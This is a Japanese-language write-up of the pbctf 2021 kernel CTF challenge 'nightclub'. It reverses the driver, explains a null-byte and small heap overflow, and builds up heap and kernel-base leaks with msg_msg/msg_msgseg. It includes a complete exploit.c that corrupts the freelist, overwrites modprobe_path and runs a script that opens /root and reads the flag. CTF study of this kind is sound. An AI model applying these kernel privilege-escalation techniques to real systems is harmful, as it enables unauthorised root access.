春は曙。 いつぞや開催された pbctf 2021 のkernel問題nightclubを解いていく。 結果としては、msg_msgmsg_msgseg問題だった。

static Link to this heading

lysithea Link to this heading

lysithea.txt
 1===============================
 2Drothea v1.0.0
 3[.] kernel version:
 4Linux version 5.14.1 (ss@ubuntu) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #4 SMP Mon Oct 4 05:54:25 PDT 2021
 5[-] CONFIG_KALLSYMS_ALL is enabled.
 6you mignt be able to leak info by invoking crash.
 7cat: /proc/sys/kernel/unprivileged_bpf_disabled: No such file or directory
 8cat: /proc/sys/vm/unprivileged_userfaultfd: No such file or directory
 9[-] unprivileged userfaultfd is disabled.
10[?] KASLR seems enabled. Should turn off for debug purpose.
11Ingrid v1.0.0
12[-] userfualtfd is disabled.
13[-] CONFIG_STRICT_DEVMEM is enabled.
14===============================

特に隙の無い設定。SMEP/SMAP/KASLR有効。

reverse Link to this heading

なぜか、ソースコードが配布されていなかった。まさか故意に添付しなかったはずがないだろうから、おそらく配布するのを忘れてしまったのだろう。おっちょこちょい。以下が全てのコードのreverse結果。

reversed.c
  1int init_module(void)
  2{
  3  // register chrdev with M/m=0/0
  4  major_num = __register_chrdev(0,0,0x100,"nightclub",file_ops);
  5  if (major_num < 0) { // error
  6    printk(&DAT_00100558,major_num);
  7    return major_num;
  8  }
  9  printk(&DAT_00100580,major_num); // success
 10  return 0;
 11}
 12
 13struct file_operations file_ops = {
 14  .read = device_read,
 15  .write = device_write,
 16  .open = device_open,
 17  .release = device_release,
 18  .compat_ioctl = device_ioctl,
 19};
 20
 21int device_open(struct inode*, struct file*)
 22{
 23  device_open_count = device_open_count + 1;
 24  try_module_get(__this_module);
 25  return 0;
 26}
 27
 28int device_release(struct inode*, struct file*)
 29{
 30  device_open_count = device_open_count + -1;
 31  module_put(__this_module);
 32  return 0;
 33}
 34
 35ssize_t device_read(struct file *, char __user *, size_t, loff_t *)
 36{
 37  return -EINVAL;
 38}
 39
 40ssize_t device_write(struct file *, const char __user *, size_t, loff_t *) {
 41  printk(&DAT_00100530);
 42  return -EINVAL;
 43}
 44
 45#define NIGHT_ADD   0xcafeb001
 46#define NIGHT_DEL   0xcafeb002
 47#define NIGHT_EDIT  0xcafeb003
 48#define NIGHT_INFO  0xcafeb004
 49
 50long device_ioctl (struct file* file, unsigned int cmd, unsigned long args) {
 51  switch (cmd) {
 52    case NIGHT_ADD:
 53      return add_chunk();
 54    case NIGHT_DEL:
 55      return del_chunk();
 56    case NIGHT_EDIT:
 57      return edit_chunk();
 58    // leak diff
 59    case NIGHT_INFO:
 60      return edit_chunk - __kmalloc;
 61    defualt:
 62      return -1;
 63  }
 64}
 65
 66
 67struct night {
 68  night *next;
 69  night *prev;
 70  char unset1[0x16];
 71  ulong offset;
 72  char unset2[0x16];
 73  uint randval;
 74  char unset[0x14];
 75  char unknown2[0x10];
 76  char data[0x20];
 77};
 78
 79struct userreq {
 80  char unknown2[0x10];
 81  char data[0x20];
 82  uint target_randval;
 83  uint uunknown1;
 84  ulong offset;
 85  uint size;
 86};
 87
 88struct {
 89  night *next;
 90  night *prev;
 91} master_list;
 92
 93uint add_chunk(userreq *arg) {
 94  uint randval_ret = (uint)-1;
 95  uint size;
 96  night *ptr = NULL;
 97  night *buf = kmem_cache_alloc_trace(XXX, 0xcc0, 0x80);
 98  
 99  /*
100    unknown range check operations (skip).
101  */
102  
103  buf->prev = NULL;
104  buf->next = NULL;
105  
106  _copy_from_user(&buf->offset, &arg->offset, 8);
107  _copy_from_user(&size, &arg->size, 4);
108  if ((0x20 < size) || (0x10 < buf->offset)) {
109    kfree(buf);
110    return -1;
111  }
112  _copy_from_user(&buf->unknown2, &arg->unknown2, 0x10);
113  if ((int)size < 0) { while(true) {halt();}}
114  _copy_from_user(buf->data, arg->data, size);
115  buf->data[size] = '\0'; // single NULL-byte overflow
116  get_random_bytes(&randval_ret, 4);
117  
118  
119  ptr = master_list->next;
120  master_list->next = buf;
121  buf->randval = randval_ret;
122  ptr->prev = buf;
123  buf->next = ptr;
124  buf->prev = (night*)master_list;
125  
126  return randval_ret;
127}
128
129long del_chunk(userreq *arg) {
130  uint target_randval, current_randval;
131  night *ptr, *next, *prev;
132  
133  _copy_from_user(&target_randval, &arg->target_rand, 4);
134  ptr = master_list->next;
135  
136  if (ptr != master_list) {
137    do {
138      /*
139        unknown range check operation (skip).
140      */
141      
142      next = ptr->next;
143      current_randval = ptr->randval;
144      // target night found. unlink it.
145      if (current_randval == target_randval) {
146        prev = ptr->prev;
147        next->prev = prev;
148        prev->next = next;
149        // unknown clear of pointers before kfree().
150        ptr->next = (night*)0xdead000000000100;
151        ptr->prev = (night*)0xdead000000000122;
152        kfree(ptr);
153        return 0;
154      }
155    } while (next != master_list);
156  }
157}
158
159long edit_chunk(userreq *arg) {
160  uint target_randval, current_randval, size;
161  ulong offset;
162  night *ptr;
163
164  _copy_from_user(&target_randval, &arg->target_rand, 4);
165  _copy_from_user(&offset, &arg->offset, 8);
166  if (master_list->next != master_list) {
167    ptr = master_list->next;
168    do {
169      /*
170        unknown range check operation (skip).
171      */
172      
173      current_randval = ptr->randval;
174      if (current_randval == target_randval) {
175        _copy_from_user(&size, &arg->size, 4);
176        if ((0x20 < size) || (0x10 < offset) { return -1; }
177        _copy_from_user(ptr->data + offset, arg->data, size); // heap overflow (max 0x10 bytes)
178        ptr->data[offset + size] = '\0'; // single NULL-byte overflow
179        return 0;
180      }
181      
182      ptr = ptr->next;
183    } while (ptr != master_list)
184  }
185}

なお、上のソースコード中にも示したように、ところどころに謎のレンジチェックが入っていたが、リバースするのがしんどすぎたために無視した。(のちにわかったことだが、このモジュールを利用してmodprobe_pathに直接的に書き込むのを防ぐ効果があった。まぁ邪魔なだけだったけど)

module abstraction Link to this heading

f_opsは実質的にioctlのみ。 上に示したnightという構造体のadd/del/editができる。この構造体は謎のパディングがところどころ入っていて気持ち悪い。nightたちはmaster_list変数をheadとする双方向リストで管理されており、内部にrandvalというユニークなランダム値を持っていて、これを指定することで該当nightを削除したり編集できる。 最後に、NIGHT_INFOコマンドでedit_chunk - __kmallocのdiffを教えてくれる。因みにこういう露骨なのは好きじゃない。

vulns Link to this heading

single NULL-byte overflow Link to this heading

edit_chunk及びadd_chunk内において、以下のようなコードがある:

null-byte-overflow.c
1      ptr->data[offset + size] = '\0'

ptrはリスト中のnightであり、dataは構造体の終端に位置するchar[0x20]型変数である。sizesize <= 0x20という条件のため、上のコードで1バイト分だけNULLがオーバーフローする。

10 bytes overflow Link to this heading

同じくedit_chunk()内において、更新するデータは以下のように上書きされる:

10-overflow.c
1        _copy_from_user(&size, &arg->size, 4);
2        if ((0x20 < size) || (0x10 < offset) { return -1; }
3        _copy_from_user(ptr->data + offset, arg->data, size); // heap overflow (max 0x10 bytes)

datachar[0x20]であることから、0x10byte分だけ自由にoverflowできる。

NIGHT_INFO Link to this heading

これはバグではないが、前述したとおりedit_chunk - __kmallocを教えてくれる。これは、モジュールのアドレスさえleakできれば、このdiffを使ってkernbaseが計算できることを意味する。

leak heap addr via msg_msg / msg_msgseg Link to this heading

abstraction of heap collaption Link to this heading

heap内でoverflowがあり、かつ双方向リストを使っているため、next/prevを書き換えるというのが基本方針。 10byte overflowがあるものの、heapのアドレスがわかっていないために活用できない。まずはheapのアドレスをleakすることを目指す。 まず、適当に10個くらいnightaddすると、以下のようなheap layoutになる。

このとき、3のnightでNULL-overflowをすると、4のnight.next0xffff8880041a4780から0xffff8880041a4700になる。つまり、2を指すようになる。 その後、del_chunk()で3を消去し、next/prevを繋ぎ替えると、2のprevの値として4のprevの値、すなわち5のアドレスが入ることがわかる。。

ここで重要なのは、2が既にfreeされてリスト中に存在してなかったとしてもprevの値が書き込まれるということである。つまり、2を先にdelしておいて、ここに何らかの構造体を入れておけば、その構造体を介してprevの値をleakできる。

utilize msg_msgseg to read first 10bytes Link to this heading

さて、leakに使う構造体だが、今回はnightの大きさが0x80であるためmsg_msgを使うことにする。 だが、普通にmsg_msgヘッダ込みで0x80だけ確保しようとすると、以下のようなレイアウトになってしまう。

上の図はmsg_msgとuserデータを合わせたもので、この状態でdelをしてprevを書き込むと、prevmsg_msg.m_list内に書き込まれてしまう。これはユーザデータではない領域なので、msgrcv()で読み取ることができない。

ではどうすればいいかというと、これはalloc_msg()の実装を読めば明らかである。

ipc/msgutils.c
 1struct msg_msg {
 2	struct list_head m_list;
 3	long m_type;
 4	size_t m_ts;		/* message text size */
 5	struct msg_msgseg *next;
 6	void *security;
 7	/* the actual message follows immediately */
 8};
 9struct msg_msgseg {
10	struct msg_msgseg *next;
11	/* the next part of the message follows immediately */
12};
13
14#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
15#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
16
17static struct msg_msg *alloc_msg(size_t len)
18{
19	struct msg_msg *msg;
20	struct msg_msgseg **pseg;
21	size_t alen;
22
23	alen = min(len, DATALEN_MSG);
24	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
25	if (msg == NULL)
26		return NULL;
27
28	msg->next = NULL;
29	msg->security = NULL;
30
31	len -= alen;
32	pseg = &msg->next;
33	while (len > 0) {
34		struct msg_msgseg *seg;
35
36		cond_resched();
37
38		alen = min(len, DATALEN_SEG);
39		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
40		if (seg == NULL)
41			goto out_err;
42		*pseg = seg;
43		seg->next = NULL;
44		pseg = &seg->next;
45		len -= alen;
46	}
47
48	return msg;
49
50out_err:
51	free_msg(msg);
52	return NULL;
53}

この関数では、まず最初にmsg_msgヘッダと「いくらかの」ユーザデータ分の領域を確保したあと、残りのユーザデータがなくなるまではmsg_msgsegヘッダと「いくらかの」ユーザデータ分の領域を確保し続ける。 ここで「いくらかの」とは、msg_msg(最初の1回)の場合にはDATALEN_MSGmsg_msgsegの場合にはDATALEN_SEGである。上のdefineからもわかるとおり、1回のkmallocの大きさが0x1000になるようになっている。 よって、0x80分だけのメッセージをmsgsndする代わりに、DATALEN_MSG + 0x80 - sizeof(msg_msg) - sizeof(msg_msgseg)だけの大きさを持つユーザデータを送ってやれば、1つ目のユーザデータはmsg_msgとともにkmalloc-1Kに確保され、残りのユーザデータはmsg_msgsegとともにkmalloc-128に入ってくれる。そして、msg_msgが0x30bytesもあるのに対してmsg_msgsegは0x8bytesしかない。これによって、msgrcv()を使うと最初の8byteを除いて任意の大きさの構造体からデータを読み取ることが可能になる。 以上でheapbaseのlaek完了。

leak module base and kernbase Link to this heading

続いて、モジュールベースを求める。双方向リストゆえ、最新のnightprevとしてヘッドのmaster_listのアドレスを保持している。これを読めれば良い。 この時点でheapbaseがわかっているため、10bytes-overflowを使ってnightnext/prevをヒープ内の任意のアドレスに書き換えることができる。もちろんread機能はないために直接読み取ることはできないが、msg_msgヘッダ内のm_tsを書き換えることでmsgrcv時に読み込むサイズを任意に大きくすることができる。 なお、前のヒープのleakの段階でリストが壊れているが、基本的にリストの探索はターゲットが見つかれば打ち切られるため新しいnightを確保してそれらだけを利用すれば、特に問題はない。 これで、ヒープ内を雑に読み込んで、モジュールベースのleak完了。 前述したとおり、edit_chunk - __kmallocがわかっているため、これでkbaseがleakできたことになる。

overwrite modprobe_path Link to this heading

unknown range check prevents overwriting…? Link to this heading

最後にmodprobe_pathを書き換える。普通に考えると、10byte-overflowを使ってnight.nextmodprobe_path - xを指すようにして、edit_chunks()で書き換えれば終わりのように思える。 だが、実際に試してみると、最後のedit_chunks()がどうしても不正な値を返してきた。おそらくだが、最初の"reversing"の項で無視したレンジチェックみたいなところで、ヒープ外の値に書き込もうとするとエラーを出すようになっているぽい。詳しくは見てないから勘だけど。

directly overwrite heap’s next pointer Link to this heading

少し実験した感じ、SLUBのfreelistのHARDENINGとかRANDOMIZEとかのコンフィグは有効になっていなかった(例え有効になっていても、ここまでheapを掌握していれば大丈夫なような気もするけど)。heapのnextポインタは、今回の場合offset:+0x40に置かれていた。よって、これを直接書き換えることで、次の次のkmallocの際にmodprobe_path上にchunkを置くことができる。このchunkに入れる構造体は、やはりmsg_msgで良い。

exploit Link to this heading

exploit.c
  1#include "./exploit.h"
  2#include <sys/ipc.h>
  3#include <sys/mman.h>
  4
  5/*********** commands ******************/
  6#define DEV_PATH "/dev/nightclub"   // the path the device is placed
  7
  8#define NIGHT_ADD   0xcafeb001
  9#define NIGHT_DEL   0xcafeb002
 10#define NIGHT_EDIT  0xcafeb003
 11#define NIGHT_INFO  0xcafeb004
 12
 13//#define DATALEN_MSG	((size_t)PAGESIZE-sizeof(struct msg_msg))
 14#define DATALEN_MSG	((size_t)PAGE-0x30)
 15#define DATALEN_SEG	((size_t)PAGE-0x8)
 16
 17struct night{
 18  struct night *next; // double-linked list, where new node is inserted into head->next.
 19  struct night *prev;
 20  char unset1[0x16];
 21  ulong offset;
 22  char unset2[0x16];
 23  uint randval;
 24  char unset[0x14];
 25  char unknown2[0x10];
 26  char data[0x20];
 27} night;
 28
 29struct userreq{
 30  char unknown2[0x10];
 31  char data[0x20];
 32  uint target_randval;
 33  uint uunknown1;
 34  ulong offset;
 35  uint size;
 36};
 37
 38/*********** globals ******************/
 39
 40int night_fd = -1;
 41const ulong diff_master_list_edit = 0xffffffffc0002100 - 0xffffffffc0000010;
 42const ulong diff_modprobe_path = 0xffffffff8244fca0 - 0xffffffff81000000;
 43
 44// (END globals)
 45
 46long night_ioctl(ulong cmd, void *req) {
 47  if (night_fd == -1) errExit("night_fd is not initialized.");
 48  long ret = ioctl(night_fd, cmd, req);
 49  assert(ret != -1);
 50  return ret;
 51}
 52
 53uint night_info(void) {
 54  long diff = night_ioctl(NIGHT_INFO, NULL);
 55  return diff;
 56}
 57
 58uint night_add(char *buf, ulong offset, uint size) {
 59  struct userreq req = {
 60    .offset = offset,
 61    .size = size,
 62  };
 63  memcpy(req.data, buf, 0x20);
 64  long ret = night_ioctl(NIGHT_ADD, &req);
 65  assert(ret != -1);
 66  return ret;
 67}
 68
 69void night_edit(char *buf, uint target_randval, ulong offset, uint size) {
 70  struct userreq req = {
 71    .offset = offset,
 72    .size = size,
 73    .target_randval = target_randval,
 74  };
 75  memcpy(req.data, buf, 0x20);
 76  assert(night_ioctl(NIGHT_EDIT, &req) == 0);
 77}
 78
 79void night_del(uint target_randval) {
 80  struct userreq req = {
 81    .target_randval = target_randval,
 82  };
 83  assert(night_ioctl(NIGHT_DEL, &req) == 0);
 84}
 85
 86struct msgbuf80 {
 87  long mtype;
 88  char mtext[0x80];
 89};
 90struct msgbuf80alpha {
 91  long mtype;
 92  char mtext[(DATALEN_MSG + 0x30) + 0x80 - 8]; // -8 is for msg_msgseg of second segment
 93};
 94
 95int main(int argc, char *argv[]) {
 96  puts("[ ] Hello, world.");
 97  assert((night_fd = open(DEV_PATH, O_RDWR)) > 2);
 98  char *buf = mmap(NULL, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 99  assert(buf != MAP_FAILED);
100  memset(buf, 'A', PAGE);
101
102  // prepare for modprobe_path tech
103  system("echo -n '\xff\xff\xff\xff' > /home/user/evil");
104  system("echo '#!/bin/sh\nchmod -R 777 /root\ncat /root/flag' > /home/user/nirugiri");
105  system("chmod +x /home/user/nirugiri");
106  system("chmod +x /home/user/evil");
107
108  // clean kmalloc-128
109  puts("[.] cleaning heap...");
110  #define CLEAN_N 40
111  struct msgbuf80 clean_msg80 = { .mtype = 1 };
112  struct msgbuf80alpha clean_msg80alpha = { .mtype = 1 };
113  memset(clean_msg80.mtext, 'X', 0x80);
114  memset(clean_msg80alpha.mtext, 'X', sizeof(clean_msg80alpha.mtext));
115  for (int ix = 0; ix != CLEAN_N; ++ix) {
116    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
117    KMALLOC(qid, clean_msg80, 1);
118  }
119
120  // get diff of __kernel and edit_chunk and __kmalloc
121  uint edit_kmalloc_diff = night_info();
122  printf("[+] edit_chunk - __kmalloc: 0x%x\n", edit_kmalloc_diff);
123
124  // add first chunks
125  #define FIRST_N 10
126  uint randvals[FIRST_N] = {0};
127  printf("[.] allocating first chunks (%d)\n", FIRST_N);
128  for (int ix = 0; ix != FIRST_N; ++ix) {
129    randvals[ix] = night_add(buf, 0, 0x1F);
130    printf("[.] alloced randval: %x\n", randvals[ix]);
131  }
132
133  // single NULL-byte overflow into night[6]->next
134  night_edit(buf, randvals[5], 0, 0x20);
135
136  night_del(randvals[4]);
137  // allocate msg_msgseg + userdata at &night[4]
138  int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
139  KMALLOC(qid, clean_msg80alpha, 1);
140  // make night[2]->prev point to &night[4]
141  night_del(randvals[6]);
142  // leak heap addr via msg_msgseg
143  ssize_t n_rcv = msgrcv(qid, &clean_msg80alpha, sizeof(clean_msg80alpha.mtext) - 0x30, clean_msg80alpha.mtype, 0);
144  printf("[+] received 0x%x size of message.\n", n_rcv);
145  ulong leaked_heap = *(ulong*)(clean_msg80alpha.mtext + DATALEN_MSG);
146  ulong heap_base = leaked_heap - 0x380;
147  printf("[!] leaked heap: 0x%lx\n", leaked_heap);
148  printf("[!] heapbase: 0x%lx\n", heap_base);
149
150
151  /** overwrite next pointer, edit msg_msg's size, read heap sequentially, leak master_list. **/
152
153  // heap is tampered, allocate fresh nights.
154  #define SECOND_N 6
155  uint randvals2[SECOND_N] = {0};
156  for (int ix = 0; ix != SECOND_N; ++ix) {
157    randvals2[ix] = night_add(buf, 0, 0x20);
158  }
159
160  // allocate simple msg_msg + userdata
161  memset(clean_msg80.mtext, 'Y', 0x50);
162  KMALLOC(qid, clean_msg80, 1);
163
164  // overflow to overwrite night[1]->next to allocated msg_msg
165  printf("[+] overwrite next target with 0x%lx\n", heap_base+ 0x700 + 0x10 - 0x60);
166  *(ulong*)(buf + 0x10) = heap_base + 0x700 + 0x10 - 0x60;
167  night_edit(buf, randvals2[3], 0x10, 0x20);
168
169  // edit to overwrite msg_msg.m_ts with huge value
170  ulong val[0x2];
171  val[0] = 1;
172  val[1] = 0x200; // m_ts
173  night_edit((char*)val, 0x41414141, 0, 0x10);
174
175  // allocate new night and read master_list
176  night_add(buf, 0, 0);
177  n_rcv = msgrcv(qid, &clean_msg80, 0x500, clean_msg80alpha.mtype, 0);
178  printf("[+] received 0x%x size of message.\n", n_rcv);
179  ulong master_list = *(ulong*)(clean_msg80.mtext + 0xb * 8);
180  ulong edit_chunk = master_list - diff_master_list_edit;
181  ulong __kmalloc = edit_chunk - edit_kmalloc_diff;
182  ulong kbase = __kmalloc - 0x1caa50;
183  ulong modprobe_path = kbase + diff_modprobe_path;
184  printf("[!] master_list: 0x%lx\n", master_list);
185  printf("[!] edit_chunk: 0x%lx\n", edit_chunk);
186  printf("[!] __kmalloc: 0x%lx\n", __kmalloc);
187  printf("[!] kbase: 0x%lx\n", kbase);
188  printf("[!] modprobe_path: 0x%lx\n", modprobe_path);
189
190  /** overwrite modprobe_path **/
191  strcpy(clean_msg80.mtext, "/home/user/nirugiri\x00");
192
193  // heap is collapsed, allocate fresh nights.
194  #define THIRD_N 2
195  uint randvals3[THIRD_N] = {0};
196  for (int ix = 0; ix != THIRD_N; ++ix) {
197    randvals3[ix] = night_add(buf, 0, 0x20);
198  }
199
200  // overwrite night's next ptr
201  printf("[+] overwrite next target with 0x%lx\n", heap_base + 0x8c0 - 0x60);
202  *(ulong*)(buf + 0x10) = heap_base + 0x8c0 - 0x60; // heap's next ptr is placed at +0x40 of chunk.
203  night_edit(buf, randvals3[0], 0x10, 0x20);
204
205  // edit to overwrite heap's next pointer
206  val[0] = modprobe_path - 0xa0 + 0x80 - 0x10;
207  val[1] = 0x0;
208  night_edit((char*)val, 0x0, 0, 0x10);
209
210  // overwrite modprobe_path
211  night_add(buf, 0, 0);
212  puts("[+] allocating msg_msg on modprobe_path.");
213  qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
214  KMALLOC(qid, clean_msg80, 1);
215
216  // invoke evil script
217  puts("[!] invoking evil script...");
218  system("/home/user/evil");
219
220  // end of life
221  puts("[ ] END of life...");
222}

アウトロ Link to this heading

msg_msgはread/writeに関して言えばかなり万能でいいですね。とりわけmsg_msgsegと組み合わせることで、0x8 ~ 0x1000 bytes までの任意のサイズに対してread/writeができるのが強いです。

この問題自体は、問題が少しわざとらしかったり、構造体にパディングが多くあからさまだったり、そして何よりソースコードの配布を「おっちょこちょい」で忘れてしまってたりと荒削りなところも合ったけど、msg_msgの汎用性の再確認ができる言い問題だったと思います。

次回、池の水全部飲んでみたでお会いしましょう。

続く。

参考 Link to this heading